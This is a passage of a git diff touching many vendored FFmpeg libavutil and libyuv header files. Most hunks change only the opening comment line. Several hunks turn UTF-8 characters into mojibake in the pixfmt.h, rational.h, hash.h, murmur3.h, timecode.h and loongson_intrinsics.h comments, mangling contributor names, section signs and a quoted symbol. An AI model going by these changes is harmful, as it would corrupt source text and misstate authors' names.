a/compress/libavutil/adler32.h +++ b/compress/libavutil/adler32.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2006 Mans Rullgard * * This file is part of FFmpeg. diff --git a/compress/libavutil/aes.h b/compress/libavutil/aes.h index 09efbda..bb684c1 100644 --- a/compress/libavutil/aes.h +++ b/compress/libavutil/aes.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2007 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/aes_ctr.h b/compress/libavutil/aes_ctr.h index e4aae12..6b67d7f 100644 --- a/compress/libavutil/aes_ctr.h +++ b/compress/libavutil/aes_ctr.h @@ -1,4 +1,4 @@ -/* +/* * AES-CTR cipher * Copyright (c) 2015 Eran Kornblau * diff --git a/compress/libavutil/attributes.h b/compress/libavutil/attributes.h index ced108a..59db0ec 100644 --- a/compress/libavutil/attributes.h +++ b/compress/libavutil/attributes.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2006 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/audio_fifo.h b/compress/libavutil/audio_fifo.h index d8a9194..19fa9c0 100644 --- a/compress/libavutil/audio_fifo.h +++ b/compress/libavutil/audio_fifo.h @@ -1,4 +1,4 @@ -/* +/* * Audio FIFO * Copyright (c) 2012 Justin Ruggles * diff --git a/compress/libavutil/avassert.h b/compress/libavutil/avassert.h index 46f3fea..cce449b 100644 --- a/compress/libavutil/avassert.h +++ b/compress/libavutil/avassert.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2010 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/avconfig.h b/compress/libavutil/avconfig.h index 3611d8a..d1f3266 100644 --- a/compress/libavutil/avconfig.h +++ b/compress/libavutil/avconfig.h @@ -1,4 +1,4 @@ -/** Automatically generated configuration values +/** Automatically generated configuration values * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal diff --git a/compress/libavutil/avstring.h b/compress/libavutil/avstring.h index 04d2695..d25c1a7 100644 --- a/compress/libavutil/avstring.h +++ b/compress/libavutil/avstring.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2007 Mans Rullgard * * This file is part of FFmpeg. diff --git a/compress/libavutil/avutil.h b/compress/libavutil/avutil.h index 4d63315..18f5bb8 100644 --- a/compress/libavutil/avutil.h +++ b/compress/libavutil/avutil.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2006 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/base64.h b/compress/libavutil/base64.h index 1bdba99..5539a1b 100644 --- a/compress/libavutil/base64.h +++ b/compress/libavutil/base64.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2006 Ryan Martell. (rdm4@martellventures.com) * * This file is part of FFmpeg. diff --git a/compress/libavutil/blowfish.h b/compress/libavutil/blowfish.h index 9e289a4..f1787b1 100644 --- a/compress/libavutil/blowfish.h +++ b/compress/libavutil/blowfish.h @@ -1,4 +1,4 @@ -/* +/* * Blowfish algorithm * Copyright (c) 2012 Samuel Pitoiset * diff --git a/compress/libavutil/bprint.h b/compress/libavutil/bprint.h index e37e5e9..da5665d 100644 --- a/compress/libavutil/bprint.h +++ b/compress/libavutil/bprint.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2012 Nicolas George * * This file is part of FFmpeg. diff --git a/compress/libavutil/bswap.h b/compress/libavutil/bswap.h index 91cb795..ce3d87b 100644 --- a/compress/libavutil/bswap.h +++ b/compress/libavutil/bswap.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2006 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/buffer.h b/compress/libavutil/buffer.h index 73b6bd0..35b6462 100644 --- a/compress/libavutil/buffer.h +++ b/compress/libavutil/buffer.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/camellia.h b/compress/libavutil/camellia.h index e674c9b..3bd324a 100644 --- a/compress/libavutil/camellia.h +++ b/compress/libavutil/camellia.h @@ -1,4 +1,4 @@ -/* +/* * An implementation of the CAMELLIA algorithm as mentioned in RFC3713 * Copyright (c) 2014 Supraja Meedinti * diff --git a/compress/libavutil/cast5.h b/compress/libavutil/cast5.h index ad5b347..7830218 100644 --- a/compress/libavutil/cast5.h +++ b/compress/libavutil/cast5.h @@ -1,4 +1,4 @@ -/* +/* * An implementation of the CAST128 algorithm as mentioned in RFC2144 * Copyright (c) 2014 Supraja Meedinti * diff --git a/compress/libavutil/channel_layout.h b/compress/libavutil/channel_layout.h index 50bb8f0..f8318f6 100644 --- a/compress/libavutil/channel_layout.h +++ b/compress/libavutil/channel_layout.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2006 Michael Niedermayer * Copyright (c) 2008 Peter Ross * diff --git a/compress/libavutil/common.h b/compress/libavutil/common.h index 0fffa67..33d16fd 100644 --- a/compress/libavutil/common.h +++ b/compress/libavutil/common.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2006 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/cpu.h b/compress/libavutil/cpu.h index 2c9dfdc..5ed3b5f 100644 --- a/compress/libavutil/cpu.h +++ b/compress/libavutil/cpu.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2000, 2001, 2002 Fabrice Bellard * * This file is part of FFmpeg. diff --git a/compress/libavutil/crc.h b/compress/libavutil/crc.h index 76c0cf3..7c6d7e4 100644 --- a/compress/libavutil/crc.h +++ b/compress/libavutil/crc.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2006 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/des.h b/compress/libavutil/des.h index 4cf11f5..ba83018 100644 --- a/compress/libavutil/des.h +++ b/compress/libavutil/des.h @@ -1,4 +1,4 @@ -/* +/* * DES encryption/decryption * Copyright (c) 2007 Reimar Doeffinger * diff --git a/compress/libavutil/dict.h b/compress/libavutil/dict.h index 118f1f0..963a725 100644 --- a/compress/libavutil/dict.h +++ b/compress/libavutil/dict.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/display.h b/compress/libavutil/display.h index 515adad..8f8e484 100644 --- a/compress/libavutil/display.h +++ b/compress/libavutil/display.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2014 Vittorio Giovara * * This file is part of FFmpeg. diff --git a/compress/libavutil/downmix_info.h b/compress/libavutil/downmix_info.h index 221cf5b..6b3f6c2 100644 --- a/compress/libavutil/downmix_info.h +++ b/compress/libavutil/downmix_info.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2014 Tim Walker * * This file is part of FFmpeg. diff --git a/compress/libavutil/encryption_info.h b/compress/libavutil/encryption_info.h index abe090e..c6a4bff 100644 --- a/compress/libavutil/encryption_info.h +++ b/compress/libavutil/encryption_info.h @@ -1,4 +1,4 @@ -/** +/** * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/error.h b/compress/libavutil/error.h index 71df4da..13d7f92 100644 --- a/compress/libavutil/error.h +++ b/compress/libavutil/error.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/eval.h b/compress/libavutil/eval.h index dacd22b..1ae9fc2 100644 --- a/compress/libavutil/eval.h +++ b/compress/libavutil/eval.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2002 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/ffversion.h b/compress/libavutil/ffversion.h index 824bae9..72e56f2 100644 --- a/compress/libavutil/ffversion.h +++ b/compress/libavutil/ffversion.h @@ -1,4 +1,4 @@ -/** Automatically generated configuration values +/** Automatically generated configuration values * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal diff --git a/compress/libavutil/fifo.h b/compress/libavutil/fifo.h index dc7bc6f..f17cdf8 100644 --- a/compress/libavutil/fifo.h +++ b/compress/libavutil/fifo.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/file.h b/compress/libavutil/file.h index 8666c7b..41faaa6 100644 --- a/compress/libavutil/file.h +++ b/compress/libavutil/file.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/frame.h b/compress/libavutil/frame.h index 118e2e0..01522b2 100644 --- a/compress/libavutil/frame.h +++ b/compress/libavutil/frame.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/hash.h b/compress/libavutil/hash.h index 7693e6b..fd05499 100644 --- a/compress/libavutil/hash.h +++ b/compress/libavutil/hash.h @@ -1,5 +1,5 @@ -/* - * Copyright (C) 2013 Reimar Döffinger +/* + * Copyright (C) 2013 Reimar D枚ffinger * * This file is part of FFmpeg. * diff --git a/compress/libavutil/hmac.h b/compress/libavutil/hmac.h index 412e950..0719da1 100644 --- a/compress/libavutil/hmac.h +++ b/compress/libavutil/hmac.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (C) 2012 Martin Storsjo * * This file is part of FFmpeg. diff --git a/compress/libavutil/hwcontext.h b/compress/libavutil/hwcontext.h index 7c3bb29..a26cadb 100644 --- a/compress/libavutil/hwcontext.h +++ b/compress/libavutil/hwcontext.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/hwcontext_cuda.h b/compress/libavutil/hwcontext_cuda.h index 81a0552..25e96f8 100644 --- a/compress/libavutil/hwcontext_cuda.h +++ b/compress/libavutil/hwcontext_cuda.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/hwcontext_d3d11va.h b/compress/libavutil/hwcontext_d3d11va.h index 9f91e9b..aa44f7c 100644 --- a/compress/libavutil/hwcontext_d3d11va.h +++ b/compress/libavutil/hwcontext_d3d11va.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/hwcontext_drm.h b/compress/libavutil/hwcontext_drm.h index 42709f2..dad2a87 100644 --- a/compress/libavutil/hwcontext_drm.h +++ b/compress/libavutil/hwcontext_drm.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/hwcontext_dxva2.h b/compress/libavutil/hwcontext_dxva2.h index e1b79bc..fc9dcb4 100644 --- a/compress/libavutil/hwcontext_dxva2.h +++ b/compress/libavutil/hwcontext_dxva2.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/hwcontext_mediacodec.h b/compress/libavutil/hwcontext_mediacodec.h index 101a980..0f53005 100644 --- a/compress/libavutil/hwcontext_mediacodec.h +++ b/compress/libavutil/hwcontext_mediacodec.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/hwcontext_qsv.h b/compress/libavutil/hwcontext_qsv.h index b98d611..a0fb086 100644 --- a/compress/libavutil/hwcontext_qsv.h +++ b/compress/libavutil/hwcontext_qsv.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/hwcontext_vaapi.h b/compress/libavutil/hwcontext_vaapi.h index 0b2e071..700ef59 100644 --- a/compress/libavutil/hwcontext_vaapi.h +++ b/compress/libavutil/hwcontext_vaapi.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/hwcontext_vdpau.h b/compress/libavutil/hwcontext_vdpau.h index 1b7ea1e..717cbcc 100644 --- a/compress/libavutil/hwcontext_vdpau.h +++ b/compress/libavutil/hwcontext_vdpau.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/hwcontext_videotoolbox.h b/compress/libavutil/hwcontext_videotoolbox.h index 380918d..8363f52 100644 --- a/compress/libavutil/hwcontext_videotoolbox.h +++ b/compress/libavutil/hwcontext_videotoolbox.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/imgutils.h b/compress/libavutil/imgutils.h index 5b790ec..19a96be 100644 --- a/compress/libavutil/imgutils.h +++ b/compress/libavutil/imgutils.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/intfloat.h b/compress/libavutil/intfloat.h index fe3d7ec..c2f0f98 100644 --- a/compress/libavutil/intfloat.h +++ b/compress/libavutil/intfloat.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2011 Mans Rullgard * * This file is part of FFmpeg. diff --git a/compress/libavutil/intreadwrite.h b/compress/libavutil/intreadwrite.h index 86234d7..ba803fb 100644 --- a/compress/libavutil/intreadwrite.h +++ b/compress/libavutil/intreadwrite.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/lfg.h b/compress/libavutil/lfg.h index 700e37f..b662986 100644 --- a/compress/libavutil/lfg.h +++ b/compress/libavutil/lfg.h @@ -1,4 +1,4 @@ -/* +/* * Lagged Fibonacci PRNG * Copyright (c) 2008 Michael Niedermayer * diff --git a/compress/libavutil/log.h b/compress/libavutil/log.h index 03f4286..53b6b2f 100644 --- a/compress/libavutil/log.h +++ b/compress/libavutil/log.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2006 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/lzo.h b/compress/libavutil/lzo.h index c034039..a256c1d 100644 --- a/compress/libavutil/lzo.h +++ b/compress/libavutil/lzo.h @@ -1,4 +1,4 @@ -/* +/* * LZO 1x decompression * copyright (c) 2006 Reimar Doeffinger * diff --git a/compress/libavutil/macros.h b/compress/libavutil/macros.h index 2007ee5..a685f8f 100644 --- a/compress/libavutil/macros.h +++ b/compress/libavutil/macros.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/mastering_display_metadata.h b/compress/libavutil/mastering_display_metadata.h index c23b07c..95867d9 100644 --- a/compress/libavutil/mastering_display_metadata.h +++ b/compress/libavutil/mastering_display_metadata.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2016 Neil Birkbeck * * This file is part of FFmpeg. diff --git a/compress/libavutil/mathematics.h b/compress/libavutil/mathematics.h index 5490180..7d51d4e 100644 --- a/compress/libavutil/mathematics.h +++ b/compress/libavutil/mathematics.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2005-2012 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/md5.h b/compress/libavutil/md5.h index ca72ccb..b889521 100644 --- a/compress/libavutil/md5.h +++ b/compress/libavutil/md5.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2006 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/mem.h b/compress/libavutil/mem.h index 5f54a66..d092572 100644 --- a/compress/libavutil/mem.h +++ b/compress/libavutil/mem.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2006 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/motion_vector.h b/compress/libavutil/motion_vector.h index ec29556..c26755f 100644 --- a/compress/libavutil/motion_vector.h +++ b/compress/libavutil/motion_vector.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/murmur3.h b/compress/libavutil/murmur3.h index 1b09175..36bcd35 100644 --- a/compress/libavutil/murmur3.h +++ b/compress/libavutil/murmur3.h @@ -1,5 +1,5 @@ -/* - * Copyright (C) 2013 Reimar Döffinger +/* + * Copyright (C) 2013 Reimar D枚ffinger * * This file is part of FFmpeg. * diff --git a/compress/libavutil/opt.h b/compress/libavutil/opt.h index 5af5848..98468d7 100644 --- a/compress/libavutil/opt.h +++ b/compress/libavutil/opt.h @@ -1,4 +1,4 @@ -/* +/* * AVOptions * copyright (c) 2005 Michael Niedermayer * diff --git a/compress/libavutil/parseutils.h b/compress/libavutil/parseutils.h index e66d24b..b79847a 100644 --- a/compress/libavutil/parseutils.h +++ b/compress/libavutil/parseutils.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/pixdesc.h b/compress/libavutil/pixdesc.h index 71a1268..fecb9db 100644 --- a/compress/libavutil/pixdesc.h +++ b/compress/libavutil/pixdesc.h @@ -1,4 +1,4 @@ -/* +/* * pixel format descriptor * Copyright (c) 2009 Michael Niedermayer * diff --git a/compress/libavutil/pixelutils.h b/compress/libavutil/pixelutils.h index 314804f..109ebc9 100644 --- a/compress/libavutil/pixelutils.h +++ b/compress/libavutil/pixelutils.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/pixfmt.h b/compress/libavutil/pixfmt.h index aea008b..594999e 100644 --- a/compress/libavutil/pixfmt.h +++ b/compress/libavutil/pixfmt.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2006 Michael Niedermayer * * This file is part of FFmpeg. @@ -419,7 +419,7 @@ enum AVPixelFormat { /** * Chromaticity coordinates of the source primaries. - * These values match the ones defined by ISO/IEC 23001-8_2013 § 7.1. + * These values match the ones defined by ISO/IEC 23001-8_2013 搂 7.1. */ enum AVColorPrimaries { AVCOL_PRI_RESERVED0 = 0, @@ -443,7 +443,7 @@ enum AVColorPrimaries { /** * Color Transfer Characteristic. - * These values match the ones defined by ISO/IEC 23001-8_2013 § 7.2. + * These values match the ones defined by ISO/IEC 23001-8_2013 搂 7.2. */ enum AVColorTransferCharacteristic { AVCOL_TRC_RESERVED0 = 0, @@ -472,7 +472,7 @@ enum AVColorTransferCharacteristic { /** * YUV colorspace type. - * These values match the ones defined by ISO/IEC 23001-8_2013 § 7.3. + * These values match the ones defined by ISO/IEC 23001-8_2013 搂 7.3. */ enum AVColorSpace { AVCOL_SPC_RGB = 0, ///< order of coefficients is actually GBR, also IEC 61966-2-1 (sRGB) diff --git a/compress/libavutil/random_seed.h b/compress/libavutil/random_seed.h index 0462a04..dacb0fb 100644 --- a/compress/libavutil/random_seed.h +++ b/compress/libavutil/random_seed.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2009 Baptiste Coudurier * * This file is part of FFmpeg. diff --git a/compress/libavutil/rational.h b/compress/libavutil/rational.h index d299c5f..ecd685a 100644 --- a/compress/libavutil/rational.h +++ b/compress/libavutil/rational.h @@ -1,4 +1,4 @@ -/* +/* * rational numbers * Copyright (c) 2003 Michael Niedermayer * @@ -46,7 +46,7 @@ * denominators. * * Many of the functions that operate on AVRational's have the suffix `_q`, in - * reference to the mathematical symbol "ℚ" (Q) which denotes the set of all + * reference to the mathematical symbol "鈩? (Q) which denotes the set of all * rational numbers. * * @{ diff --git a/compress/libavutil/rc4.h b/compress/libavutil/rc4.h index 029cd2a..9288733 100644 --- a/compress/libavutil/rc4.h +++ b/compress/libavutil/rc4.h @@ -1,4 +1,4 @@ -/* +/* * RC4 encryption/decryption/pseudo-random number generator * * This file is part of FFmpeg. diff --git a/compress/libavutil/replaygain.h b/compress/libavutil/replaygain.h index b49bf1a..cc3d372 100644 --- a/compress/libavutil/replaygain.h +++ b/compress/libavutil/replaygain.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/ripemd.h b/compress/libavutil/ripemd.h index 0db6858..16c9ab7 100644 --- a/compress/libavutil/ripemd.h +++ b/compress/libavutil/ripemd.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (C) 2007 Michael Niedermayer * Copyright (C) 2013 James Almer * diff --git a/compress/libavutil/samplefmt.h b/compress/libavutil/samplefmt.h index 8cd43ae..e00467d 100644 --- a/compress/libavutil/samplefmt.h +++ b/compress/libavutil/samplefmt.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/sha.h b/compress/libavutil/sha.h index c0180e5..b7b1bce 100644 --- a/compress/libavutil/sha.h +++ b/compress/libavutil/sha.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (C) 2007 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/sha512.h b/compress/libavutil/sha512.h index bef714b..ece655c 100644 --- a/compress/libavutil/sha512.h +++ b/compress/libavutil/sha512.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (C) 2007 Michael Niedermayer * Copyright (C) 2013 James Almer * diff --git a/compress/libavutil/spherical.h b/compress/libavutil/spherical.h index cef759c..3deba96 100644 --- a/compress/libavutil/spherical.h +++ b/compress/libavutil/spherical.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2016 Vittorio Giovara * * This file is part of FFmpeg. diff --git a/compress/libavutil/stereo3d.h b/compress/libavutil/stereo3d.h index d421aac..7fe840c 100644 --- a/compress/libavutil/stereo3d.h +++ b/compress/libavutil/stereo3d.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2013 Vittorio Giovara * * This file is part of FFmpeg. diff --git a/compress/libavutil/tea.h b/compress/libavutil/tea.h index dd929bd..63f5e76 100644 --- a/compress/libavutil/tea.h +++ b/compress/libavutil/tea.h @@ -1,4 +1,4 @@ -/* +/* * A 32-bit implementation of the TEA algorithm * Copyright (c) 2015 Vesselin Bontchev * diff --git a/compress/libavutil/threadmessage.h b/compress/libavutil/threadmessage.h index f18e5fe..31ffc86 100644 --- a/compress/libavutil/threadmessage.h +++ b/compress/libavutil/threadmessage.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/time.h b/compress/libavutil/time.h index dc169b0..3f2983d 100644 --- a/compress/libavutil/time.h +++ b/compress/libavutil/time.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) 2000-2003 Fabrice Bellard * * This file is part of FFmpeg. diff --git a/compress/libavutil/timecode.h b/compress/libavutil/timecode.h index 37c1361..5a9beda 100644 --- a/compress/libavutil/timecode.h +++ b/compress/libavutil/timecode.h @@ -1,6 +1,6 @@ -/* +/* * Copyright (c) 2006 Smartjog S.A.S, Baptiste Coudurier - * Copyright (c) 2011-2012 Smartjog S.A.S, Clément Bœsch + * Copyright (c) 2011-2012 Smartjog S.A.S, Cl茅ment B艙sch * * This file is part of FFmpeg. * diff --git a/compress/libavutil/timestamp.h b/compress/libavutil/timestamp.h index e082f01..c110f81 100644 --- a/compress/libavutil/timestamp.h +++ b/compress/libavutil/timestamp.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavutil/tree.h b/compress/libavutil/tree.h index d5e0aeb..afba87c 100644 --- a/compress/libavutil/tree.h +++ b/compress/libavutil/tree.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2006 Michael Niedermayer * * This file is part of FFmpeg. diff --git a/compress/libavutil/twofish.h b/compress/libavutil/twofish.h index 813cfec..09b27bc 100644 --- a/compress/libavutil/twofish.h +++ b/compress/libavutil/twofish.h @@ -1,4 +1,4 @@ -/* +/* * An implementation of the TwoFish algorithm * Copyright (c) 2015 Supraja Meedinti * diff --git a/compress/libavutil/version.h b/compress/libavutil/version.h index 44bdebd..a8d2fe0 100644 --- a/compress/libavutil/version.h +++ b/compress/libavutil/version.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2003 Fabrice Bellard * * This file is part of FFmpeg. diff --git a/compress/libavutil/xtea.h b/compress/libavutil/xtea.h index 735427c..fb02293 100644 --- a/compress/libavutil/xtea.h +++ b/compress/libavutil/xtea.h @@ -1,4 +1,4 @@ -/* +/* * A 32-bit implementation of the XTEA algorithm * Copyright (c) 2012 Samuel Pitoiset * diff --git a/compress/libyuv/libyuv.h b/compress/libyuv/libyuv.h index a06e123..2a60151 100644 --- a/compress/libyuv/libyuv.h +++ b/compress/libyuv/libyuv.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2011 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/basic_types.h b/compress/libyuv/libyuv/basic_types.h index 1bea67f..a59b427 100644 --- a/compress/libyuv/libyuv/basic_types.h +++ b/compress/libyuv/libyuv/basic_types.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2011 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/compare.h b/compress/libyuv/libyuv/compare.h index 0f619b2..ce412f5 100644 --- a/compress/libyuv/libyuv/compare.h +++ b/compress/libyuv/libyuv/compare.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2011 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/compare_row.h b/compress/libyuv/libyuv/compare_row.h index 1d33696..8f72880 100644 --- a/compress/libyuv/libyuv/compare_row.h +++ b/compress/libyuv/libyuv/compare_row.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2013 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/convert.h b/compress/libyuv/libyuv/convert.h index 032d744..46db857 100644 --- a/compress/libyuv/libyuv/convert.h +++ b/compress/libyuv/libyuv/convert.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2011 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/convert_argb.h b/compress/libyuv/libyuv/convert_argb.h index ccd4ce9..b76acab 100644 --- a/compress/libyuv/libyuv/convert_argb.h +++ b/compress/libyuv/libyuv/convert_argb.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2012 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/convert_from.h b/compress/libyuv/libyuv/convert_from.h index 64ddad0..55c5f07 100644 --- a/compress/libyuv/libyuv/convert_from.h +++ b/compress/libyuv/libyuv/convert_from.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2011 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/convert_from_argb.h b/compress/libyuv/libyuv/convert_from_argb.h index 7ff1a1e..3232e00 100644 --- a/compress/libyuv/libyuv/convert_from_argb.h +++ b/compress/libyuv/libyuv/convert_from_argb.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2012 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/cpu_id.h b/compress/libyuv/libyuv/cpu_id.h index 0997062..01660cf 100644 --- a/compress/libyuv/libyuv/cpu_id.h +++ b/compress/libyuv/libyuv/cpu_id.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2011 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/cpu_support.h b/compress/libyuv/libyuv/cpu_support.h index 0f67045..ae85b16 100644 --- a/compress/libyuv/libyuv/cpu_support.h +++ b/compress/libyuv/libyuv/cpu_support.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2024 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/loongson_intrinsics.h b/compress/libyuv/libyuv/loongson_intrinsics.h index 78e00a8..42eb354 100644 --- a/compress/libyuv/libyuv/loongson_intrinsics.h +++ b/compress/libyuv/libyuv/loongson_intrinsics.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2022 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license @@ -1191,7 +1191,7 @@ static inline __m256i __lasx_xvaddwl_h_bu(__m256i in_h, __m256i in_l) * Arguments : Inputs - in_h, in_l * Output - out * Details : The in_l vector after double zero extension (unsigned byte to - * signed halfword),added to the in_h vector. + * signed halfword)锛宎dded to the in_h vector. * Example : See out = __lasx_xvaddw_w_w_h(in_h, in_l) * ============================================================================= */ diff --git a/compress/libyuv/libyuv/macros_msa.h b/compress/libyuv/libyuv/macros_msa.h index 6434a4d..93acc98 100644 --- a/compress/libyuv/libyuv/macros_msa.h +++ b/compress/libyuv/libyuv/macros_msa.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2016 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/mjpeg_decoder.h b/compress/libyuv/libyuv/mjpeg_decoder.h index 41c4bb6..9678e5a 100644 --- a/compress/libyuv/libyuv/mjpeg_decoder.h +++ b/compress/libyuv/libyuv/mjpeg_decoder.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2012 The LibYuv Project Authors. All rights reserved. * * Use of this 